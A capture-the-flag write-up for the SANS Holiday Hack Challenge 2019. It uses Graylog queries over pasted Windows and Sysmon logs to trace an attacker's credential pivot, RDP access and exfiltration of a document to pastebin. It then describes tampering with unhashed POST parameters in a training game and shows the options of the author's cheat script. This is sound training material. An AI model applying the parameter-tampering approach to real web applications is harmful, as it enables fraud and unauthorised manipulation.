EventID:4624 AND NOT "*VMWare*" AND NOT "*CommAmqpListener*" AND NOT "*svchost.exe*" AND NOT "*autochk.exe*" AND NOT "*smss.exe*" AND NOT "*taskhostw.exe*" AND NOT "*MSASCui.exe"
```

2019-11-19 05:47:33.000elfu-res-wks1-4624DEFANELF192.168.247.175

5e04a030-1b70-11ea-b211-0242ac120005

PermalinkCopy IDShow surrounding messages ▼Test against stream ▼

Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0

Stored in index
graylog_0

Routed into streams
• All messages

AccountDomain
-

AccountName
alabaster

AuthenticationPackage
NTLM

DestinationHostname
elfu-res-wks1

EventID
4624

LogonProcess
NtLmSsp

LogonType
3

SourceHostName
DEFANELF

SourceNetworkAddress
192.168.247.175

UserAccount
-

UserAccountSID
S-1-0-0

WindowsLogType
Security

facility
user-level

level
6

message
elfu-res-wks1 MSWinEventLog 1 Security 2911 Tue Nov 19 05:47:33 2019 4624 Microsoft-Windows-Security-Auditing
N/A N/A Success Audit elfu-res-wks1 Logon An account was successfully logged on. Subject: Security ID:
S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Information: Logon Type: 3 Restricted Admin Mode: - Virtua
l Account: No Elevated Token: Yes Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2526793473-266036237-19
69649614-1006 Account Name: alabaster Account Domain: ELFU-RES-WKS1 Logon ID: 0x4152F0 Linked Logon ID: 0x0 Network Account N
ame: - Network Account Domain: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x0 Proce
ss Name: - Network Information: Workstation Name: DEFANELF Source Network Address: 192.168.247.175 Source Port: 52128 Detaile
d Authentication Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only):
NTLM V1 Key Length: 128 This event is generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server s
ervice, or a local process such as Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that occurred. The mos
t common types are 2 (interactive) and 3 (network). The New Logon fields indicate the account for whom the new logon was created, i.e. t
he account that was logged on. The network fields indicate where a remote logon request originated. Workstation name is not always avail
able and may be left blank in some cases. The impersonation level field indicates the extent to which a process in the logon session can
impersonate. The authentication information fields provide detailed information about this specific logon request. - Logon GUID is a u
nique identifier that can be used to correlate this event with a KDC event. - Transited services indicate which intermediate services hav
e participated in this logon request. - Package name indicates which sub-protocol was used among the NTLM protocols. - Key length indic
ates the length of the generated session key. This will be 0 if no session key was requested. 25339

source
elfu-res-wks1

timestamp
2019-11-19 05:47:33.000 +00:00

5e07ad71-1b70-11ea-b211-0242ac120005

PermalinkCopy IDShow surrounding messages ▼Test against stream ▼

Timestamp
2019-11-19 05:47:34.000

Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0

Stored in index
graylog_0

AccountDomain
-

AccountName
alabaster

AuthenticationPackage
NTLM

DestinationHostname
elfu-res-wks1

EventID
4624

LogonProcess
NtLmSsp

LogonType
3

SourceHostName
DEFANELF

SourceNetworkAddress
192.168.247.175

UserAccount
-

UserAccountSID
S-1-0-0

WindowsLogType
Security

facility
user-level

level
6

message
elfu-res-wks1 MSWinEventLog 1 Security 2915 Tue Nov 19 05:47:34 2019 4624 Microsoft-Windows-Security-Auditing N/A N/A Success Audit elfu-res-wks1
Logon An account was successfully logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Information: Logon Type: 3 Restricted
Admin Mode: - Virtual Account: No Elevated Token: Yes Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2526793473-266036237-1969649614-1006 Account Name: alabaster
Account Domain: ELFU-RES-WKS1 Logon ID: 0x415378 Linked Logon ID: 0x0 Network Account Name: - Network Account Domain: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process
Information: Process ID: 0x0 Process Name: - Network Information: Workstation Name: DEFANELF Source Network Address: 192.168.247.175 Source Port: 52129 Detailed Authentication
Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V1 Key Length: 128 This event is generated when a logon session is
created. It is generated on the computer that was accessed. The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server
service, or a local process such as Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). The
New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. The network fields indicate where a remote logon request originated. Workstation name
is not always available and may be left blank in some cases. The impersonation level field indicates the extent to which a process in the logon session can impersonate. The authentication
information fields provide detailed information about this specific logon request. - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - Transited
services indicate which intermediate services have participated in this logon request. - Package name indicates which sub-protocol was used among the NTLM protocols. - Key length indicates the
length of the generated session key. This will be 0 if no session key was requested. 25342

source
elfu-res-wks1

timestamp
2019-11-19T05:47:34.000Z

5e25e3d0-1b70-11ea-b211-0242ac120005		Permalink	Copy ID	Show surrounding messages	Test against stream
Timestamp	2019-11-19 05:47:36.000	CommandLine	"cmd.exe"		
Received by	Syslog TCP on IP 83d46e5e / 61a0de1f3c0	EventID	1		
Stored in index	graylog_0	ParentProcessCommandLine	C:\Windows\PAExec-4236-DEFANELF.exe -service		
		ParentProcessID	5548		
		ParentProcessImage	C:\Windows\PAExec-4236-DEFANELF.exe		
		ProcessID	4624		
		ProcessImage	C:\Windows\System32\cmd.exe		
		UserAccount	alabaster		
		WindowsLogType	Microsoft-Windows-Sysmon/Operational		
		facility	user-level		
		level	6		
		message	elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2955 Tue Nov 19 05:47:36 2019 1 Microsoft-Windows-Sysmon Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:47:36.473 ProcessGuid: {BASC688B-F278-50D3-8080-8018C5794280} ProcessId: 4624 Image: C:\Windows\System32\cmd.exe FileVersion: 10.0.14393.0 (rs1_release.160715-1616) Description: Windows Command Processor Product: Microsoft Windows Operating System Company: Microsoft Corporation OriginalFileName: Cmd.exe CommandLine: "cmd.exe" CurrentDirectory: C:\Windows\system32 User: ELFU-RES-WKS1\alabaster LogonGuid: {BASC688B-F277-50D3-8080-8020B05C4100} LogonId: 0x415C80 TerminalSessionId: 0 IntegrityLevel: High Hashes: MD5-BFEC5F30E705EADAE6E9144F2F8120C ParentProcessGuid: {BASC688B-F276-50D3-8080-801092564100} ParentProcessId: 5548 ParentImage: C:\Windows\PAExec-4236-DEFANELF.exe ParentCommandLine: C:\Windows\PAExec-4236-DEFANELF.exe -service 20583		
		source	elfu-res-wks1		
		timestamp	2019-11-19T05:47:36.000Z		

The answer to Question 6 is: **alabaster**

Question 6:

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Answer: alabaster

*Windows Event Id 4624 is generated when a user network logon occurs successfully. We can also filter on the attacker's IP using **SourceNetworkAddress**.*

Question 7:

What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?

The solution for this question will require searching for logon event 4624 with LogonType of 10, which indicates RDP logon, and including alabaster as the *UserAccount* and *AccountName* fields.

EventID:4624 AND LogonType:10 AND (UserAccount:alabaster OR AccountName:alabaster)

6c638510-1b70-11ea-b211-0242ac120005		Permalink	Copy ID	Show surrounding messages	Test against stream
Timestamp	2019-11-19 06:04:28.000	AccountDomain	NORTHPOLE		
Received by	Syslog TCP on IP 83d46e5e / 61a0de1f3c0	AccountName	alabaster		
Stored in index	graylog_0	AuthenticationPackage	Negotiate		
		DestinationHostName	elfu-res-wks2		
		EventID	4624		
		LogonProcess	User32		
		LogonType	10		
		SourceHostName	ELFU-RES-WKS2		
		SourceNetworkAddress	192.168.247.175		
		UserAccount	ELFU-RES-WKS2		
		UserAccountSID	S-1-5-18		
		WindowsLogType	Security		
		facility	user-level		
		level	6		
		message	elfu-res-wks2 MSWinEventLog 1 Security 347 Tue Nov 19 06:04:28 2019 4624 Microsoft-Windows-Security-Auditing N/A N/A Success Audit elfu-res-wks2 Logon An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name: ELFU-RES-WKS2 Account Domain: NORTHPOLE Logon ID: 0x3E7 Logon Information: Logon Type: 10 Restricted Admin Mode: No Virtual Account: No Elevated Token: Yes Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2526793473-266036237-1969649614-1006 Account Name: alabaster Account Domain: ELFU-RES-WKS2 Logon ID: 0x3981 Linked Logon ID: 0x0 Network Account Name: - Network Account Domain: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x36c Process Name: C:\Windows\System32\svchost.exe Network Information: Workstation Name: ELFU-RES-WKS2 Source Network Address: 192.168.247.175 Source Port: 0 Detailed Authentication Information: Logon Process: User32 Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 This event is generated when a logon session is created. It is generated on the computer that was accessed. The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. The impersonation level field indicates the extent to which a process in the logon session can impersonate. The authentication information fields provide detailed information about this specific logon request. Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. Transited Services indicate which intermediate services have participated in this logon request. Package name indicates which sub-protocol was used among the NTLM protocols. - Key Length indicates the length of the generated session key. This will be 0 if no session key was requested. 25499		
		source	elfu-res-wks2		
		timestamp	2019-11-19T06:04:28.000Z		

The answer to Question 7 is: 06:04:28

Question 7:

What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?

Answer: 06:04:28

LogonType 10 is used for successful network connections using the RDP client.

Question 8:

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName, DestinationHostname, LogonType of this connection?

For this question make sure you have checked/enabled the SourceHostName, DestinationHostname and UserAccount fields. Search on this query to find the event of interest:

LogonType:>1 AND DestinationHostname:elfu-res-wks3

679e82f0-1b70-11ea-b211-0242ac120005

Timestamp
2019-11-19 06:07:22.000

Received by
Spring TCP on IP 83946e5e / 61abde1f3c0

Stored in index
graylog_0

AccountDomain
-

AccountName
alabaster

AuthenticationPackage
NTLM

DestinationHostname
elfu-res-wks3

EventID
4624

LogonProcess
NtLmSsp

LogonType
3

SourceHostName
ELFU-RES-WKS2

SourceNetworkAddress
192.168.247.176

UserAccount
-

UserAccountSID
S-1-0-0

WindowsLogType
Security

facility
user-level

level
6

message
elfu-res-wks3 MSWinEventLog 1 Security 2757 Tue Nov 19 06:07:22 2019 4624 Microsoft-Windows-Security-Auditing N/A N/A Success Audit elfu-res-wks3
Logon An account was successfully logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0xb Logon Information: Logon Type: 3 Restricted
Admin Mode: - Virtual Account: No Elevated Token: Yes Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2526793473-266836237-1969649614-1906 Account Name: alabaster
Account Domain: ELFU-RES-WKS3 Logon ID: 8a4498c9 Linked Logon ID: 0xb Network Account Name: - Network Account Domain: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process
Information: Process ID: 0xb Process Name: - Network Information: Workstation Name: ELFU-RES-WKS2 Source Network Address: 192.168.247.176 Source Port: 49704 Detailed Authentication
Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V1 Key Length: 128 This event is generated when a logon session is
created. It is generated on the computer that was accessed. The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server
service, or a local process such as Winlogon.exe or Services.exe. The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). The
New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. The network fields indicate where a remote logon request originated. Workstation name
is not always available and may be left blank in some cases. The impersonation level field indicates the extent to which a process in the logon session can impersonate. The authentication
information fields provide detailed information about this specific logon request. Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. Transited
services indicate which intermediate services have participated in this logon request. Package name indicates which sub-protocol was used among the NTLM protocols. Key length indicates the
length of the generated session key. This will be 0 if no session key was requested. 25333

source
elfu-res-wks3

timestamp
2019-11-19T06:07:22.000Z

You see in the event above that the *SourceHostName* is ELFU-RES-WKS2, the *DestinationHostname* is elfu-res-wks3 and the *LogonType* is 3.

The answer to Question 8 is: ELFU-RES-WKS2,elfu-res-wks3,3

Question 8:

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName, DestinationHostname, LogonType of this connection?

(submit in that order as csv)

Answer: elfu-res-wks2,elfu-res-wks3,3

The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id 4624 and logon type 3.

Question 9:

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

In this case you want to have timestamp sorted in descending order so you see the most recent events first as it will be the first item in the search when you use this query:

```
LogonType:>1 AND DestinationHostname:elfu-res-wks3
```

6650a630-1b70-11ea-b211-0242ac120005

Permalink Copy ID Show surrounding messages Test against stream

Timestamp	2019-11-19 06:07:51.000	CreationUtcTime	2019-11-19T14:07:50.000Z
Received by	Syslog TCP on P 83d4d9e6 / 61a0de1ff3c0	EventID	2
Stored in index	graylog_0	ProcessId	4372
		ProcessImage	C:\Windows\Explorer.EXE
		TargetFilename	C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
		WindowsLogType	Microsoft-Windows-Sysmon/Operational
		facility	user-level
		level	6
		message	elfu-res-wks2 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2312 Tue Nov 19 06:07:50 2019 2 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks2 File creation time changed (rule: FileCreateTime) File creation time changed: RuleName: UtcTime: 2019-11-19 14:07:50.000 ProcessGuid: {AB5C6CCB-F401-5E03-0000-00102AA83200} ProcessId: 4372 Image: C:\Windows\Explorer.EXE TargetFilename: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf CreationUtcTime: 2019-11-19 14:07:50.000 PreviousCreationUtcTime: 2019-11-19 14:07:50.000 92903
		source	elfu-res-wks2
		timestamp	2019-11-19T06:07:51.000Z

The answer to Question 9 is: **C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf**

Question 9:

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

Answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

We can look for sysmon file creation event id of 2 with a source of workstation 2. We can also use regex to filter out overly common file paths using something like:

```
AND NOT TargetFilename:/.+AppData.+/
```

Question 10:

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

If you search for events after the timestamp of the event from Question 9 you will find the event where exfiltration occurred to pastebin. The absolute time range you can search on to get this event is the following:

2019-11-19 06:14:23 to 2019-11-19 06:15:00

Search on this time range: 2019-11-19 06:14:23 to 2019-11-19 06:15:00

5f9e04e0-1b70-11ea-b211-0242ac120005

Timestamp: 2019-11-19 06:14:25.000
Received by: Syslog TCP on IP 83d46e5e / 61a0de1f130
Stored in index: graylog_0

DestinationHostname: pastebin.com
DestinationIp: 104.22.3.84
DestinationPort: 80
EventID: 3
ProcessId: 1232
ProcessImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Protocol: tcp
SourceHostname: elfu-res-wks2.localdomain
SourceIp: 192.168.247.177
SourcePort: 53564
UserAccount: alabaster
WindowsLogType: Microsoft-Windows-Sysmon/Operational
Facility: user-level
Level: 6

message: elfu-res-wks2 MSWineventlog 1 Microsoft-Windows-Sysmon/Operational 2441 Tue Nov 19 06:14:25 2019 3 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks2 Network connection detected (rule: NetworkConnect) Network connection detected: RuleName: UtcTime: 2019-11-19 13:14:25.757 ProcessGuid: {B45C88B8-EC72-5003-8000-000000000000} ProcessId: 1232 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe User: elfu-res-wks2\alabaster Protocol: tcp Initiated: true SourceIsIPv6: false SourceIp: 192.168.247.177 SourceHostname: elfu-res-wks2.localdomain SourcePort: 53564 SourcePortName: DestinationIp: 104.22.3.84 DestinationHostname: pastebin.com DestinationPort: 80 DestinationPortName: HTTP 20132

source: elfu-res-wks2
timestamp: 2019-11-19T06:14:25.000Z

The answer to Question 10 is: 104.22.3.84

Question 10:

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

Answer
104.22.3.84

SUBMIT

We can look for the original document in **CommandLine** using regex.

When we do that, we see a long PowerShell command using **Invoke-Webrequest** to a remote URL of **https://pastebin.com/post.php**.

We can pivot off of this information to look for a sysmon network connection id of **3** with a source of **elfu-res-wks2** and **DestinationHostname** of **pastebin.com**.

Incident Response Report #7830984301576234
Submitted.

Incident Fully Detected!

You have completed the Graylog
challenge!

Achievement - Holiday Hack Trail

This challenge is found in the Dorm area and interacting with Minty Candycane will introduce this challenge.



Hi! I'm Minty Candycane!
I just LOVE this old game!
I found it on a 5 1/4" floppy in the attic.
You should give it a go!
If you get stuck at all, check out this year's talks.
One is about web application penetration testing.
Good luck, and don't get dysentery!

You can begin the challenge by clicking on the "Holiday Hack Trail" terminal icon or you access it directly via <https://trail.elfu.org>




I loved this challenge and had so much fun! Reminded me of many fun hours as a kid playing The Oregon Trail on an Apple][.

I wrote a Python script that can play the Holiday Hack Trail game in an automated way by interacting directly with <https://trail.elfu.org>. The program logic will attempt to make the best choice (favors life, over destination) for each day of travel. There are several command line parameters, some of which allow you to take advantage of vulnerabilities in the game which I added as **cheat codes** you can activate when running the script. I used *argparse*, so the standard "--help" option will display all options available. The full source is in the Appendix section of this report or at <https://github.com/deckerXL/SANSHolidayHackChallenge2019>

Excellent help is available in one of the KringleCon 2019 talks called "Web Apps: A Trailhead" given by Chris Elgee in Track 4 in Hermey Hall or can be viewed directly at this link: <https://www.youtube.com/watch?v=OT6-DQtzCgM>

Taking a look at the game, the initial *gameselect* page gives you an introduction to the game, how much money you get with each difficulty level and your starting day. You must reach KringleCon before December 25th. Then you select your difficulty level by pressing the "EASY", "MEDIUM" or "HARD" button to continue:



The next screen is the *store* screen, where you can buy extra supplies within the money you have allotted. The more reindeer, the faster you can move. You must have at least 2 runners or you can't make forward progress and it is possible to break a runner during the journey. The game can also give extra or make you lose any of these resources either due to conditions or random chance. Enter any amounts to buy for desired extra items and click "BUY" to continue.

PURCHASE SUPPLIES

ITEM	STARTING QTY	PRICE	AMT TO BUY	ITEM COST
REINDEER	2	500	0	0
RUNNERS	2	200	0	0
FOOD	100	5	0	0
MEDS	2	50	0	0
AMMO	10	20	0	0

MONEY AVAILABLE

COST OF ITEMS

MONEY REMAINING

1500

0

1500

BUY

THE MORE REINDEER YOU HAVE, THE FASTER YOU CAN GET TO THE NORTH POLE. SPARE RUNNERS CAN BE HANDY AS YOUR SLEIGH CAN'T MOVE IF YOU DON'T HAVE TWO WORKING ONES. YOU'LL NEED FOOD EVERY DAY AND MEDS WHENEVER SOMEONE IS GETTING WEAK. AMMO CAN BE HANDY WHEN YOU RUN LOW ON FOOD.

The next screen is the main *trail* screen which you will see continually each day until your journey ends. It provides you: distance remaining, the current date, difficulty, pace, your party status and your inventory. You also get status messages at the bottom letting you know of events of interest. The graphic in the top center may also change based on what you encounter on your journey. Each day you can choose one of four actions: "MEDS", "HUNT", "TRADE" or "GO".

"MEDS" - If you have meds available, it will heal your least healthy party member by some number of health points.

"HUNT" - If you have ammo available, will attempt to hunt for food. This may or may not be fruitful, but usually is.

"TRADE" - This brings up a separate trading window. More on this later.

"GO" - Continue for one day

DISTANCE REMAINING

DAY

MONTH

DIFFICULTY

PACE

8000

1

SEPTEMBER

HARD

STEADY

MEDS

HUNT

TRADE

GO

PARTY STATUS

NAME	HEALTH	CONDITION
JOSHUA	100	HEALTHY
JESSICA	100	HEALTHY
JOHN	100	HEALTHY
SAVVY	100	HEALTHY

INVENTORY

REINDEER	RUNNERS	MONEY
2	2	1500
AMMO	MEDS	FOOD
10	2	100

READY TO BEGIN? CLICK MEDS TO RAISE THE HEALTH OF AN INJURED PART MEMBER.

PRESS HUNT TO SPEND A DAY HUNTING FOR FOOD.

PRESS TRADE IF YOU WANT TO LOOK FOR SOMEONE TO TRADE WITH YOU.

AND PRESS GO IF YOU'RE READY TO MOVE ALONG THE TRAIL.

Below is the trade screen where you can radio-button select what you need from the trade: "REINDEER", "RUNNERS", "AMMO", "MEDS" or "FOOD". If you have zero reindeer (they can wander off and vanish) or less than two runners (they can break), you will need to trade because you can't make any forward progress without at least 1 reindeer and 2 runners.

Once you select what you want to get from the trade (I chose "AMMO", for example), you click the "TRADE" button again on this screen.

DISTANCE REMAINING	DAY	MONTH	DIFFICULTY	PACE
6717	4	OCTOBER	HARD	STEADY

WHAT DO YOU WANT TO GET FROM A TRADE?
SELECT ONE AND CLICK TRADE AGAIN.

☒ REINDEER
 ☐ RUNNERS
 ☐ AMMO
 ☐ MEDS
 ☐ FOOD

PARTY STATUS			INVENTORY		
NAME	HEALTH	CONDITION	REINDEER	RUNNERS	MONEY
JOSHUA	98	HEALTHY	2	2	1500
JESSICA	68	HEALTHY			
JOHN	60	HEALTHY	AMMO	MEDS	FOOD
SAVVY	67	HEALTHY	14	2	0

Then you will be presented the same screen again, but now with a status message at the bottom letting you know if you found someone to trade with or not and what they want in return. In this case, you found someone and they will provide you 11 AMMO if you give them 1 MEDS. You should note that they may ask for something that you don't even have, in which case your only option is to click "TRADE" again and start the trade process over (and lose another day) or use one of the other options, like "GO".

If the trade is acceptable to you, click "TRADE" on this screen.

DISTANCE REMAINING	DAY	MONTH	DIFFICULTY	PACE
6717	5	OCTOBER	HARD	STEADY

IF YOU ACCEPT THE TRADE, CLICK TRADE. ANYTHING ELSE WILL CANCEL.

PARTY STATUS			INVENTORY		
NAME	HEALTH	CONDITION	REINDEER	RUNNERS	MONEY
JOSHUA	98	HEALTHY	2	2	1500
JESSICA	68	HEALTHY			
JOHN	60	HEALTHY	AMMO	MEDS	FOOD
SAVVY	67	HEALTHY	14	2	0

YOU SPEND A DAY ASKING AROUND, LOOKING FOR SOMEONE WITH EXTRA AMMO.

YOU'VE BEEN OFFERED 11 AMMO(S) IN EXCHANGE FOR 1 MEDS(S).

The final trade screen will look just like the one above and will tell you in the status area that the trade was completed and you received what you wanted and lost what you were willing to trade for. Then you can choose one of the four options to continue your journey: "MEDS", "HUNT", "TRADE" or "GO"

The only other screen that's a bit different is at around the 2300 Distance Remaining mark, you reach a river and you have three options to cross the river: "FORD", "FERRY" or "CAULK". Ferry is the safest option, but you need 100 money to do it. Otherwise you take your chances with Ford or Caulk and sometimes you cross just fine with no issues and other times you lose items.

DISTANCE REMAINING	DAY	MONTH	DIFFICULTY	PACE
2320	17	NOVEMBER	HARD	GRUELING

FORD
FERRY
CAULK

PARTY STATUS			INVENTORY		
NAME	HEALTH	CONDITION	REINDEER	RUNNERS	MONEY
CHRIS	12	HEALTHY	3	2	0
JOSHUA	16	HEALTHY	AMMO	MEDS	FOOD
BILLY	20	NO HOLIDAY CHEER	0	13	0
SAVVY	13	HEALTHY			

THE REINDEER ARE ABLE TO PULL YOUR SLEIGH FORWARD A DISTANCE OF 91 TODAY.

YOU HAVE NO FOOD. YOUR PARTY IS STARVING.

YOU HAVE ARRIVED AT THE ZHIGANSK RIVER.

YOU CAN ATTEMPT TO FORD THE VERY DEEP BODY OF WATER, HIRE A FERRY FOR 100 MONEY, OR ATTEMPT TO CAULK AND FLOAT YOUR SLEIGH ACROSS.

The journey continues until you reach either the *doom* page or *victory* page. You get to the *doom* page if either: all four of your party members have *died* or you ran out of *time* because you didn't reach KringleCon before December 25th.

THE HOLIDAY HACK TRAIL

YOUR PARTY HAS FAILED BECAUSE EVERYONE'S DEAD.

EVIE DIED OF STARVATION ON 9 OCTOBER
 JOSEPH DIED OF STARVATION ON 19 OCTOBER
 JEN DIED OF STARVATION ON 8 OCTOBER
 VLAD DIED OF STARVATION ON 5 OCTOBER

START OVER?

THE HOLIDAY HACK TRAIL

YOUR PARTY HAS FAILED BECAUSE YOU RAN OUT OF TIME.

CHRIS IS WICKED BUMMED
 DOP IS BROKEN-HEARTED
 JESSICA IS DISAPPOINTED
 EMMANUEL IS NEVER GOING TO FORGIVE YOU

START OVER?

You get the *victory* page if at least 1 party member makes it alive to KringleCon before December 25th. The logic in my program is life-preserving, so either they all make it alive before December 25th or they stop short somewhere but at least they're all alive!

THE HOLIDAY HACK TRAIL

YOUR PARTY HAS SUCCEEDED.

HERBERT IS HAPPIER THAN AN ELF IN A TOY SHOP.
 MICHAEL IS OVER THE MOON.
 EMMA IS HAVING THE BEST CHRISTMAS EVER.
 MILDRED IS OVERJOYED.

DATE COMPLETED: 6 DECEMBER
 REINDEER REMAINING: 4
 MONEY REMAINING: 0

SCORING:

4 SURVIVING PARTY MEMBERS X 1000 = 4000 POINTS
 4 REINDEER X 400 = 1600 POINTS
 0 MONEY LEFT X 1 = 0 POINTS
 JOURNEY COMPLETED ON 6 DECEMBER: 19 DAYS
 BEFORE CHRISTMAS X 50 = 950 POINTS
 TOTAL SCORE: 6400 + 1600 + 0 + 950 X 8 HARD
 MULTIPLIER = 52400.
 VERIFICATION HASH:
 7B786BBABFE46DB5E71DAF18D3212B3E

PLAY AGAIN?

Something interesting! The *victory* pages show a secret message in the html comments at the bottom of the page source:

Victory Page Secret Message - EASY difficulty

```
<p><a href='/'>Play again?</a>
<!--I'm sorry, but our princess is in another North Pole.--></div>
I'm sorry, but our princess is in another North Pole.
```

Victory Page Secret Message - MEDIUM difficulty

```
<p><a href='/'>Play again?</a>
<!--Wow! What a great job! ... But I think you can do even BETTER.--></div>
Wow! What a great job! ... But I think you can do even BETTER.
```

Victory Page Secret Message - HARD difficulty

From Kent Tinseltooth:

"And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard."

```
<p><a href='/'>Play again?</a>
<!-- 1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney! It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp! --></div>
1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney! It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!
```

(This is the hint for Objective 11 Kent Tinseltooth told us about. One hint for each of the 10 locks. F12 developer tools and viewing the Console tab... the hologram challenge... lock10 forced active, etc...)

Here below are the options available with the program I wrote that automates playing the game. When you play on EASY or MEDIUM, the *hash* parameter isn't calculated making it possible to alter many POST parameters without the server kicking back "You have fallen off the trail." In HARD mode, the *hash* parameter **is calculated** to protect several POST parameters including: *money*, *distance*, *ammo*, *meds*, *reindeer*, *runners* and *food*. However, in HARD mode *health0-3* is not factored into the hash - **invulnerability!!**

```
usage: hnt.py [-h] --playerid PLAYERID --difficulty DIFFICULTY --pace PACE
              --extrareindeer EXTRAREINDEER --extrarunners EXTRARUNNERS
              --extrafood EXTRAFOOD --extrameds EXTRAMEDS --extraammo
              EXTRAAMMO [--proxy] [--proxy host PROXY_HOST]
              [--proxy_port PROXY_PORT] [--debug] [--invulnerability]
              [--lightspeed] [--maxammo] [--maxmeds] [--maxfood]
              [--maxreindeer] [--maxrunners] [--maxmoney] [--maxall]

optional arguments:
  -h, --help            show this help message and exit
  --playerid PLAYERID    Set PlayerId to send to the server
  --difficulty DIFFICULTY
                        Set difficulty level {easy, medium, hard}
  --pace PACE            Set pace level {0, 1, 2}
  --extrareindeer EXTRAREINDEER
                        Number of extra reindeer to buy {0-9}
  --extrarunners EXTRARUNNERS
                        Number of extra runners to buy {0-9}
  --extrafood EXTRAFOOD
                        Amount of extra food to buy {0-1000}
  --extrameds EXTRAMEDS
                        Amount of extra meds to buy {0-100}
  --extraammo EXTRAAMMO
                        Amount of extra ammo to buy {0-100}
  --proxy                Use proxy - proxy host/port values are in the code
  --proxy_host PROXY_HOST
                        Set proxy host - set in conjunction with --proxy
  --proxy_port PROXY_PORT
                        Set proxy port - set in conjunction with --proxy
  --debug                Enable debugging output
  --invulnerability      !!!CHEAT CODES!!! - Activate Invulnerability
  --lightspeed           !!!CHEAT CODES!!! - Activate Lightspeed - only works
                        in easy or medium mode
  --maxammo              !!!CHEAT CODES!!! - Activate Unlimited Ammo - only
                        works in easy or medium mode
  --maxmeds              !!!CHEAT CODES!!! - Activate Unlimited Meds - only
                        works in easy or medium mode
  --maxfood              !!!CHEAT CODES!!! - Activate Unlimited Food - only
                        works in easy or medium mode
  --maxreindeer          !!!CHEAT CODES!!! - Activate Unlimited Reindeer - only
                        works in easy or medium mode
  --maxrunners           !!!CHEAT CODES!!! - Activate Unlimited Runners - only
                        works in easy or medium mode
  --maxmoney             !!!CHEAT CODES!!! - Activate Unlimited Money - only
                        works in easy or medium mode
  --maxall               !!!CHEAT CODES!!! - Activate Unlimited ALL - only
                        works in easy or medium mode
```

Here is a sample run in HARD difficulty without any cheat codes:

```
